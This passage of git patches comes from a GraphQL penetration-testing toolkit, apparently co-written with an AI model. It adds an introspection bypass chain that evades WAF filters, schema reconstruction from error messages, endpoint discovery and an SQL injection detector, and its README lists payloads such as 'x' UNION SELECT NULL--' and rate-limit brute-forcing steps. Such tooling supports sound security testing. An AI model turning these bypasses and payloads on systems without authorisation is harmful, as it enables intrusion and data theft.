for required args + # Technique 3 — probe each field for required args field_defs: List[Dict[str, Any]] = [] for fname in sorted(discovered): args: List[Dict[str, Any]] = [] @@ -319,78 +293,41 @@ def reconstruct_schema_from_errors( json={"query": f"{{ {fname} }}"}, timeout=timeout) for error in (resp.json().get("errors") or []): msg = error.get("message", "") - # "Argument 'X' of required type 'T!' was not provided" for m in re.finditer( - r"[Aa]rgument\s+[\"']([^\"']+)[\"'][^.]*?type\s+[\"']([^\"']+)[\"']", - msg + r"[Aa]rgument\s+[\"']([^\"']+)[\"'][^.]*?type\s+[\"']([^\"']+)[\"']", msg ): args.append({ "name": m.group(1), - "type": { - "kind": "SCALAR", - "name": re.sub(r"[!\[\]]", "", m.group(2)), - "ofType": None, - }, + "type": {"kind": "SCALAR", + "name": re.sub(r"[!\[\]]", "", m.group(2)), + "ofType": None}, "defaultValue": None, }) - # "Field X must have a selection of subfields" → it's an OBJECT type if re.search(r"must have a selection", msg, re.I): ret_type = {"kind": "OBJECT", "name": "Unknown", "ofType": None} except Exception: pass field_defs.append({ - "name": fname, - "description": None, - "args": args, - "type": ret_type, - "isDeprecated": False, - "deprecationReason": None, + "name": fname, "description": None, "args": args, + "type": ret_type, "isDeprecated": False, "deprecationReason": None, }) - schema = { + return {"data": {"__schema": { "queryType": {"name": root_type_name}, "mutationType": None, "subscriptionType": None, - "types": [ - { - "kind": "OBJECT", - "name": root_type_name, - "description": "Partially reconstructed via error-based probing (introspection disabled)", - "fields": field_defs, - "inputFields": None, - "interfaces": [], - "enumValues": None, - "possibleTypes": None, - } - ], + "types": [{ + "kind": "OBJECT", + "name": root_type_name, + "description": "Partially reconstructed via error-based probing", + "fields": field_defs, + "inputFields": None, + "interfaces": [], + "enumValues": None, + "possibleTypes": None, + }], "directives": [], - } - return {"data": {"__schema": schema}} - - -# ── File I/O ────────────────────────────────────────────────────────────────── - -def load_from_file(path: str) -> Optional[Dict[str, Any]]: - """Load introspection JSON from a file. Returns dict or None on error.""" - try: - with open(path, "r", encoding="utf-8") as f: - return json.load(f) - except json.JSONDecodeError as e: - print(f"[!] {path!r} is not valid JSON: {e}", file=sys.stderr) - return None - except OSError as e: - print(f"[!] Cannot read {path!r}: {e}", file=sys.stderr) - return None - - -def save_to_file(data: Dict[str, Any], path: str = "introspection_schema.json") -> None: - """Serialize introspection data to a JSON file.""" - try: - with open(path, "w", encoding="utf-8") as f: - json.dump(data, f, indent=2, ensure_ascii=False) - print(f"[+] Introspection saved to: {path}") - except OSError as e: - print(f"[!] Failed to save introspection to {path!r}: {e}", file=sys.stderr) + }}} # ── Schema extraction ───────────────────────────────────────────────────────── diff --git a/effuzz/effuzz.py b/effuzz/effuzz.py index eaed214..f2406a9 100644 --- a/effuzz/effuzz.py +++ b/effuzz/effuzz.py @@ -377,7 +377,7 @@ def _parse_codes(raw: Optional[str]) -> Optional[set]: print("[!] Could not obtain schema.", file=sys.stderr) sys.exit(1) strategy = "error-reconstruction" - tag = f" (strategy: {strategy})" if strategy and strategy != "post-json" else "" + tag = f" (strategy: {strategy})" if strategy and strategy != "normal" else "" print(f"[+] Introspection obtained{tag}.") schema = core_intro.extract_schema(introspection_data) diff --git a/qgen/qgen.py b/qgen/qgen.py index 552b313..40e9834 100644 --- a/qgen/qgen.py +++ b/qgen/qgen.py @@ -349,27 +349,6 @@ def interactive_console(methods: List[Dict[str, Any]], print("[!] Unknown command. Type 'help' for the command list.\n") -def _confirm_endpoint(url: str, headers: Dict[str, str]) -> None: - """Send {__typename} to confirm the URL is a live GraphQL endpoint before introspection.""" - if requests is None: - return - try: - resp = requests.post(url, headers=headers, - json={"query": "query{__typename}"}, timeout=10) - data = resp.json() - typename = None - if isinstance(data, dict): - d = data.get("data") or data - if isinstance(d, dict): - typename = d.get("__typename") - if typename: - print(f"[+] Endpoint confirmed — __typename: {typename}") - else: - print("[!] Endpoint responded but no __typename found. Proceeding anyway.") - except Exception as e: - print(f"[!] Could not confirm endpoint ({e}). Proceeding with introspection.") - - def main(): print_banner() print("=== GraphQL Interactive Query Generator ===\n") @@ -385,7 +364,6 @@ def main(): args = parser.parse_args() headers = build_headers(args.header, args.cookie) - _confirm_endpoint(args.url, headers) print(f"[*] Fetching introspection from {args.url} ...") introspection, strategy = core_intro.fetch_with_bypass(args.url, headers) if introspection is None: @@ -395,7 +373,7 @@ def main(): print("[!] Could not obtain schema.") sys.exit(1) strategy = "error-reconstruction" - tag = f" (strategy: {strategy})" if strategy and strategy != "post-json" else "" + tag = f" (strategy: {strategy})" if strategy and strategy != "normal" else "" print(f"[+] Schema obtained{tag}.\n") methods = extract_graphql_queries(introspection) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 52ba54a..90c03c9 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -667,7 +667,7 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, print(Fore.RED + "[!] Could not obtain schema.") return [] strategy = "error-reconstruction" - if strategy and strategy not in ("normal", "post-json"): + if strategy and strategy != "normal": print(Fore.YELLOW + f"[!] Introspection strategy used: {strategy}") schema = core_intro.extract_schema(intro_data) From 88a3c452920ab9c9f73f5ef702647482b74b8c58 Mon Sep 17 00:00:00 2001 From: Jony Date: Mon, 8 Jun 2026 12:14:32 +0200 Subject: [PATCH 29/30] Update README: document introspection bypass chain and cleanup MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add 'Introspection bypass' section explaining the 21-strategy POST chain (3 query forms × 7 __schema variants), GET/form-urlencoded fallbacks, and error-based schema reconstruction - Fix qgen section: remove stale pre-flight confirmation text and update example session output to match current behaviour - Fix project structure comment for core/introspection.py - Remove stale '--discover' reference from recommended workflow Co-Authored-By: Claude Sonnet 4.6 --- README.md | 60 ++++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 51 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index df3de9e..9334fc0 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ pip install -r requirements.txt ``` GraphQL-Scripts/ ├── core/ -│ ├── introspection.py # Fetch, load, save, and bypass-test introspection +│ ├── introspection.py # Introspection fetch + multi-strategy bypass + error reconstruction │ ├── http.py # Header parsing and cookie file helpers │ └── output.py # ANSI colours and colorama re-exports ├── qgen/ @@ -52,10 +52,10 @@ GraphQL-Scripts/ ## Recommended workflow ``` -1. effuzz --discover → find the endpoint and map accessible operations -2. qgen → generate full queries for interesting methods -3. sqli → probe string arguments for SQL injection -4. alias_brute → brute-force if rate limiting is suspected +1. effuzz → find the endpoint and map accessible operations +2. qgen → generate full queries for interesting methods +3. sqli → probe string arguments for SQL injection +4. alias_brute → brute-force if rate limiting is suspected ``` ### End-to-end example @@ -84,9 +84,51 @@ python3 alias_brute/alias_brute.py https://target.com/graphql \ --- +## Introspection bypass + +All three tools (qgen, effuzz, sqli) share the same introspection layer from `core/introspection.py`. When a standard introspection query fails or is blocked, they automatically escalate through a chain of bypass strategies before giving up. + +### Strategy chain + +**POST JSON — 3 query forms × 7 `__schema` encoding variants (21 attempts)** + +| Query form | What it adds | +|---|---| +| Plain (default) | No directives section — works on most modern servers | +| Locations | `directives { name isRepeatable locations }` — Burp Suite form | +| On-star | `directives { name isRepeatable onField onOperation onFragment }` — older spec | + +| `__schema` variant | Example | +|---|---| +| Normal | `__schema {` | +| Newline | `__schema\n{` | +| Comment | `__schema #bypass\n{` | +| Double space | `__schema {` | +| Tab | `__schema\t{` | +| Compact | `__schema{` | +| Double newline | `__schema\n\n{` | + +The variant loop runs first (all three forms tried per variant) so a wrong query form is detected after 3 requests, not 21. + +**GET and POST form-urlencoded** (4 more attempts after POST JSON fails) + +Both bypass CORS preflight and are sometimes accepted when JSON POST is blocked at a WAF or CDN layer. + +### Error-based schema reconstruction + +If every introspection strategy fails, the tools fall back to reconstructing a partial schema from error messages: + +1. **Bogus-field probe** — sends `{ _zzz_nonexistent_probe }` and parses `"Did you mean X?"` suggestions to discover real field names. +2. **Wordlist batch** — sends batches of ~40 common field names; those that don't produce `"Cannot query field"` errors exist on the server. +3. **Required-arg discovery** — for each found field, parses `"Argument 'X' of required type 'T'"` errors to recover argument names and types. + +The result is a minimal schema that is enough to drive argument-level SQLi testing, even without introspection. + +--- + ## qgen -Interactive CLI that loads a GraphQL schema (from file or auto-introspection) and generates complete query/mutation documents with all nested fields and example variable values. +Interactive CLI that fetches a GraphQL schema and generates complete query/mutation documents with all nested fields and example variable values. ### Usage @@ -102,7 +144,7 @@ python3 qgen/qgen.py --url URL [options] | `-H "Name: Value"` | HTTP header, repeatable | | `--cookie FILE` | Cookie file (one line) | -Before running introspection, qgen sends `{__typename}` to confirm the endpoint is live. If the standard introspection query is blocked, it automatically retries with the newline-bypass variant (`__schema\n{...}`). +qgen runs the full [introspection bypass chain](#introspection-bypass) automatically. If every strategy fails it falls back to error-based schema reconstruction. The strategy used is printed only when it differs from a plain POST (i.e. when a bypass was needed). ### Interactive commands @@ -120,8 +162,8 @@ Before running introspection, qgen sends `{__typename}` to confirm the endpoint $ python3 qgen/qgen.py --url https://target.com/graphql \ -H "Authorization: Bearer TOKEN" -[+] Endpoint confirmed — __typename: Query -[+] Introspection obtained. +[*] Fetching introspection from https://target.com/graphql ... +[+] Schema obtained. [+] Schema loaded: 42 queries, 8 mutations qgen $ listMethods | grep user From aaff958e3dad052aefaefb2f9ffd50f7e8811b40 Mon Sep 17 00:00:00 2001 From: Jony Date: Mon, 8 Jun 2026 12:22:57 +0200 Subject: [PATCH 30/30] Refactor: centralise endpoint discovery in core, fix sqli severity/evidence display - core/introspection.py: add GRAPHQL_PATHS, ping(), find_graphql_endpoint() - effuzz: remove duplicate _get_typename; discover_endpoint uses core_intro.GRAPHQL_PATHS + core_intro.ping - sqli: auto-discover endpoint if fetch_with_bypass fails; show evidence_type in summary; fix severity thresholds (0.75/0.45 instead of unreachable 0.9) - qgen/alias_brute: remove try/except ImportError for requests - README: reflect all changes Co-Authored-By: Claude Sonnet 4.6 --- README.md | 6 ++- alias_brute/alias_brute.py | 7 +--- core/introspection.py | 46 +++++++++++++++++++++- effuzz/effuzz.py | 78 +++++++------------------------------- qgen/qgen.py | 5 --- sqli/sqli_detector.py | 12 +++++- 6 files changed, 74 insertions(+), 80 deletions(-) diff --git a/README.md b/README.md index 9334fc0..2733835 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ pip install -r requirements.txt ``` GraphQL-Scripts/ ├── core/ -│ ├── introspection.py # Introspection fetch + multi-strategy bypass + error reconstruction +│ ├── introspection.py # Introspection fetch, bypass chain, error reconstruction, endpoint discovery │ ├── http.py # Header parsing and cookie file helpers │ └── output.py # ANSI colours and colorama re-exports ├── qgen/ @@ -269,6 +269,8 @@ python3 effuzz/effuzz.py --url https://target.com/graphql --match-code 200 --deb SQL injection detector for GraphQL. Performs introspection, seeds argument values via optional BFS crawling, and tests every string-type argument with a curated set of SQL payloads. Writes reproducible `.http` marker files for sqlmap. +If introspection fails on the given URL, sqli silently probes common GraphQL paths for the endpoint before falling back to error-based schema reconstruction. + ### Usage ```bash @@ -307,6 +309,8 @@ admin' -- x' UNION SELECT NULL-- All evidence types go through confirmation rules to reduce false positives before being reported. +Each finding in the summary shows the payload, its evidence type (`SQL_ERROR`, `RESPONSE_DIFF`, etc.), and the truncated evidence text. Severity is rated `high` (confidence ≥ 0.75), `medium` (≥ 0.45), or `low`. + ### Examples ```bash diff --git a/alias_brute/alias_brute.py b/alias_brute/alias_brute.py index c029d3b..915346f 100644 --- a/alias_brute/alias_brute.py +++ b/alias_brute/alias_brute.py @@ -23,12 +23,7 @@ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -try: - import requests -except ImportError: - print("[!] 'requests' library required. Install with: pip install requests", - file=sys.stderr) - sys.exit(1) +import requests from core.http import build_headers from core.output import GREEN, RED, YELLOW, CYAN, RESET diff --git a/core/introspection.py b/core/introspection.py index be7446c..4bae14f 100644 --- a/core/introspection.py +++ b/core/introspection.py @@ -7,7 +7,7 @@ import re import sys from typing import Any, Dict, List, Optional, Tuple -from urllib.parse import quote +from urllib.parse import quote, urlparse, urlunparse try: import requests @@ -330,6 +330,50 @@ def reconstruct_schema_from_errors( }}} +# ── Endpoint discovery ─────────────────────────────────────────────────────── + +# Standard paths probed during auto-discovery, in priority order. +GRAPHQL_PATHS = [ + "/graphql", + "/api/graphql", + "/graphiql", + "/graphql/console", + "/api", + "/graphql/api", + "/graphql/graphql", + "/graphql.php", +] + + +def ping(url: str, headers: Dict[str, str], timeout: int = 10) -> Optional[str]: + """Send {__typename} and return the typename string, or None if not GraphQL.""" + if requests is None: + return None + h = {k: v for k, v in (headers or {}).items() if k.lower() != "content-type"} + try: + resp = requests.post(url, headers=h, json={"query": "{__typename}"}, timeout=timeout) + data = resp.json() + if isinstance(data, dict): + d = data.get("data") or data + if isinstance(d, dict): + return d.get("__typename") + except Exception: + pass + return None + + +def find_graphql_endpoint(base_url: str, headers: Dict[str, str], + timeout: int = 10) -> Optional[str]: + """Silently probe standard paths under base_url and return the first confirmed one.""" + parsed = urlparse(base_url) + base = urlunparse((parsed.scheme, parsed.netloc, "", "", "", "")) + for path in GRAPHQL_PATHS: + candidate = base + path + if ping(candidate, headers, timeout): + return candidate + return None + + # ── Schema extraction ───────────────────────────────────────────────────────── def extract_schema(data: Dict[str, Any]) -> Optional[Dict[str, Any]]: diff --git a/effuzz/effuzz.py b/effuzz/effuzz.py index f2406a9..faf7eb7 100644 --- a/effuzz/effuzz.py +++ b/effuzz/effuzz.py @@ -21,29 +21,12 @@ sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -try: - import requests -except ImportError: - print("[!] 'requests' library required. Install with: pip install requests", - file=sys.stderr) - sys.exit(1) +import requests import core.introspection as core_intro from core.http import build_headers from core.output import RED, GREEN, YELLOW, BLUE, RESET -# Ordered by likelihood of being a valid GraphQL endpoint -GRAPHQL_DISCOVERY_PATHS = [ - "/graphql", - "/api/graphql", - "/graphiql", - "/graphql/console", - "/api", - "/graphql/api", - "/graphql/graphql", - "/graphql.php", -] - def print_banner(): print(textwrap.dedent(f""" @@ -92,21 +75,6 @@ def perform_request(url: str, headers: Dict[str, str], payload: Dict[str, Any], return None -def _get_typename(url: str, headers: Dict[str, str], timeout: int = 10) -> Optional[str]: - """Send {__typename} and return the typename string, or None if not GraphQL.""" - try: - resp = requests.post(url, headers=headers, - json={"query": "query{__typename}"}, timeout=timeout) - data = resp.json() - if isinstance(data, dict): - d = data.get("data") or data - if isinstance(d, dict): - return d.get("__typename") - except Exception: - pass - return None - - # --------------------------------------------------------------------------- # # --discover mode # # --------------------------------------------------------------------------- # @@ -118,40 +86,20 @@ def discover_endpoint(base_url: str, headers: Dict[str, str], base = urlunparse((parsed.scheme, parsed.netloc, "", "", "", "")) print(f"[*] Discovering GraphQL endpoint under {base}") - print(f"{'Path':<35} {'Status':<8} {'Confirmed'}") - print("-" * 65) + print(f"{'Path':<35} {'Confirmed'}") + print("-" * 55) confirmed_url = None - for path in GRAPHQL_DISCOVERY_PATHS: + for path in core_intro.GRAPHQL_PATHS: candidate = base + path - try: - resp = requests.post( - candidate, headers=headers, - json={"query": "query{__typename}"}, timeout=timeout, - ) - typename = None - try: - data = resp.json() - if isinstance(data, dict): - d = data.get("data") or data - if isinstance(d, dict): - typename = d.get("__typename") - except Exception: - pass - - if typename: - tag = f"{GREEN}YES — __typename: {typename}{RESET}" - if confirmed_url is None: - confirmed_url = candidate - else: - tag = "no" - print(f"{path:<35} {resp.status_code:<8} {tag}") - except requests.exceptions.ConnectionError: - print(f"{path:<35} {'—':<8} (connection refused)") - except requests.exceptions.Timeout: - print(f"{path:<35} {'timeout':<8}") - except Exception as e: - print(f"{path:<35} {'error':<8} {e}") + typename = core_intro.ping(candidate, headers, timeout) + if typename: + tag = f"{GREEN}YES — __typename: {typename}{RESET}" + if confirmed_url is None: + confirmed_url = candidate + else: + tag = "no" + print(f"{path:<35} {tag}") print() if confirmed_url: @@ -351,7 +299,7 @@ def _parse_codes(raw: Optional[str]) -> Optional[set]: # Resolve GraphQL endpoint (auto-discover if URL isn't GraphQL) # # ------------------------------------------------------------------ # graphql_url = args.url - if _get_typename(graphql_url, headers) is None: + if core_intro.ping(graphql_url, headers) is None: print(f"[!] {graphql_url} did not respond as a GraphQL endpoint — running auto-discovery...") confirmed = discover_endpoint(graphql_url, headers) if confirmed is None: diff --git a/qgen/qgen.py b/qgen/qgen.py index 40e9834..db5d1e0 100644 --- a/qgen/qgen.py +++ b/qgen/qgen.py @@ -8,11 +8,6 @@ # Allow running from any working directory sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -try: - import requests -except ImportError: - requests = None # type: ignore - import core.introspection as core_intro from core.http import build_headers from core.output import RED, BLUE, YELLOW, CYAN, RESET diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 90c03c9..dbbd579 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -493,7 +493,7 @@ def group_findings_by_param(findings: List[Dict[str, Any]], endpoint: str) -> Di "total_evidences": sum(len(o.get("findings", [])) for o in occs), "max_confidence": max_conf, "fields_affected": len(occs), - "severity": "high" if max_conf >= 0.9 else "low", + "severity": "high" if max_conf >= 0.75 else "medium" if max_conf >= 0.45 else "low", "notes": "" } return grouped @@ -509,7 +509,9 @@ def print_grouped_summary(grouped: Dict[str, Any]): for fin in occ.get("findings", []): payload = fin.get("payload") payload_display = payload if payload is not None else json.dumps(fin.get("args_used") or {}, ensure_ascii=False) - print(" " + Fore.YELLOW + "Payload: " + Style.RESET_ALL + f"{payload_display}") + print(" " + Fore.YELLOW + "Payload: " + Style.RESET_ALL + f"{payload_display}") + etype = fin.get("evidence_type") or "" + print(" " + Fore.CYAN + "Type: " + Style.RESET_ALL + etype) evidence = fin.get("evidence") or "" cleaned = re.sub(r"\s+", " ", evidence).strip() cleaned = re.sub(r"\[SQL: .*", "[SQL TRACE]", cleaned, flags=re.S) @@ -660,6 +662,12 @@ def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, _intro_headers = {"Content-Type": "application/json"} _intro_headers.update(headers or {}) intro_data, strategy = core_intro.fetch_with_bypass(endpoint, _intro_headers, TIMEOUT) + if intro_data is None: + discovered = core_intro.find_graphql_endpoint(endpoint, _intro_headers, TIMEOUT) + if discovered and discovered != endpoint: + print(Fore.YELLOW + f"[!] Auto-discovered endpoint: {discovered}") + endpoint = discovered + intro_data, strategy = core_intro.fetch_with_bypass(endpoint, _intro_headers, TIMEOUT) if intro_data is None: print(Fore.YELLOW + "[!] All introspection strategies failed — attempting error-based reconstruction...") intro_data = core_intro.reconstruct_schema_from_errors(endpoint, _intro_headers, TIMEOUT, verbose=verbose)